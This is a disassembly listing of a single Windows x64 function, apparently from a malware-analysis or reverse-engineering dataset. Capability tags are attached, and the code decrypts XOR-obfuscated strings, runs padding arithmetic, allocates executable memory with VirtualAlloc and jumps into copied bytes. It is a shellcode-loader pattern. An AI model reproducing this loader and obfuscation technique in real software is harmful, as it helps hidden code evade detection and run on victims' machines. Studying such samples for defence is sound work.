Function at 0x14000df80
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15e0]
mov eax, 0x16e0
call fcn.14002c9a0
sub rsp, rax
movaps xmmword [rsp + 0x16d0], xmm6
movaps xmmword [rsp + 0x16c0], xmm7
movaps xmmword [rsp + 0x16b0], xmm8
movaps xmmword [rsp + 0x16a0], xmm9
movaps xmmword [rsp + 0x1690], xmm10
movaps xmmword [rsp + 0x1680], xmm11
movaps xmmword [rsp + 0x1670], xmm12
movaps xmmword [rsp + 0x1660], xmm13
movaps xmmword [rsp + 0x1650], xmm14
movaps xmmword [rsp + 0x1640], xmm15
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x1530], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
lea rax, [rbp + 0x1608]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x168], rcx
mov qword [rbp + 0x170], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0xd8], xmm0
lea r15, [rbp + 0x1608]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xd8], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000e088
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.14002bcbc
mov rsi, rax
cmp qword [rbx + 0x18], 0xf
jbe 0x14000e0cb
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0xb0]
call fcn.14001fcb0
mov rcx, rsi
call fcn.14002ba30
nop
mov qword [rbp + 0xd8], r12
mov qword [r15], r12
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14000b270
nop
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.14000b170
nop
lea rcx, [rbp - 0x10]
call fcn.140002750
nop
lea rcx, [rbp + 0xb0]
call fcn.140002750
movups xmm0, xmmword [str.kz_EFIB_N_r_ryxpnfxhm]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x140030618]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x140030628]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x140030638]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x140030640]
mov dword [rbp + 0x158], eax
movzx eax, word [0x140030644]
mov word [rbp + 0x15c], ax
movzx eax, byte [0x140030646]
mov byte [rbp + 0x15e], al
mov r9d, r12d
movdqa xmm9, xmmword [0x1400307a0]
movdqa xmm13, xmmword [0x1400307c0]
movdqa xmm14, xmmword [0x140030790]
movdqa xmm15, xmmword [0x140030780]
movdqa xmm10, xmmword [0x140030800]
movdqa xmm11, xmmword [0x1400307e0]
movdqa xmm12, xmmword [0x140030760]
mov r15d, dword [0x140038090]
cmp r15d, 2
jl 0x14000e399
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0x120]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14000e210
cmp r9d, 0x3f
jge 0x14000e3ff
movsxd rax, r9d
lea r10, [rbp + 0x120]
add r10, rax
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14000e3b0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x140021500]
lea rdi, [0x140000000]
mov rax, qword [0x14003a370]
test rax, rax
je 0x14000e479
nop
cmp rax, rbx
je 0x14000e466
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a370]
test rax, rax
jne 0x14000e450
jmp 0x14000e479
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39d30]
test r8, r8
jne 0x14000e55f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e4a2
mov r8, r12
jmp 0x14000e53e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e4b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400396d0]
mov qword [rdi + rax*8 + 0x3a370], rbx
mov qword [rdi + rax*8 + 0x39d30], r8
inc rax
mov qword [0x1400396d0], rax
lea rdx, [rsp + 0x50]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001f890
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400307d0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm7, xmm7
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x40]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140020f30
lea rcx, [rbp + 0xf0]
call fcn.1400025a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140020f50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fa0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fd0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021000
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021030
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021060
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x60]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140002540
movsd xmm8, qword [0x140030718]
movsd xmm6, qword [0x140030710]
test al, al
jns 0x14000eaf3
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm5
call fcn.1400023f0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ffb0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002360
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rcx, [rbp + 0xd8]
call fcn.14001f960
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021120
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002470
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021180
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, ebx
mov edx, eax
call fcn.140002570
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000e9e6
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000e9f5
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000ea75
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ea95
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021090
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000ea10
sub rdi, 1
jne 0x14000ea00
lea rcx, [rbp + 0xd8]
call fcn.14001f900
nop
lea rcx, [rbp + 0x120]
call fcn.14001ff50
sub rsi, 1
jne 0x14000e7d0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140002540
test al, al
js 0x14000e7c0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001f7c0
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
lea r13, [0x140021820]
mov rax, qword [0x14003a050]
test rax, rax
je 0x14000eb6a
cmp rax, r13
je 0x14000eb57
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a050]
test rax, rax
jne 0x14000eb41
jmp 0x14000eb6a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b990]
test r8, r8
jne 0x14000ec4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000eb93
mov r8, r12
jmp 0x14000ec2e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000eba0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a690]
mov qword [rdi + rax*8 + 0x3a050], r13
mov qword [rdi + rax*8 + 0x3b990], r8
inc rax
mov qword [0x14003a690], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.__2y]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [str.qpxf]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x14002fe00]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x14002fe10]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x14002fe20]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x14002fe30]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x14002fe40]
movups xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x14002fe50]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x14002fe58]
mov byte [rbp + 0xa8], al
mov r9d, r12d
cmp r15d, 2
jl 0x14000ee99
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0x30]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x14000ed10
cmp r9d, 0x79
jge 0x14000eeff
movsxd rax, r9d
lea r10, [rbp + 0x30]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x14000eeb0
movups xmm0, xmmword [str.kz__GA_a_vcfjhlvbkixq]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x14002fe80]
movups xmm1, xmmword [0x14002fe70]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, word [0x14002fec8]
movups xmm0, xmmword [0x14002fea0]
movups xmm1, xmmword [0x14002fe90]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x14002feca]
movsd xmm0, qword [0x14002fec0]
movups xmm1, xmmword [0x14002feb0]
mov byte [rbp - 0x16], al
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x14000f109
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x14000ef80
cmp r9d, 0x6b
jge 0x14000f16f
movsxd rax, r9d
lea r10, [rbp - 0x80]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x14000f120
lea r8, [rbp + 0x178]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140021850
nop
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140020dc0
nop
mov rcx, rax
call fcn.14001fe10
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
lea rbx, [0x140021500]
mov rax, qword [0x14003c950]
test rax, rax
je 0x14000f209
nop
cmp rax, rbx
je 0x14000f1f6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3c950]
test rax, rax
jne 0x14000f1e0
jmp 0x14000f209
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b010]
test r8, r8
jne 0x14000f2ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f232
mov r8, r12
jmp 0x14000f2ce
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
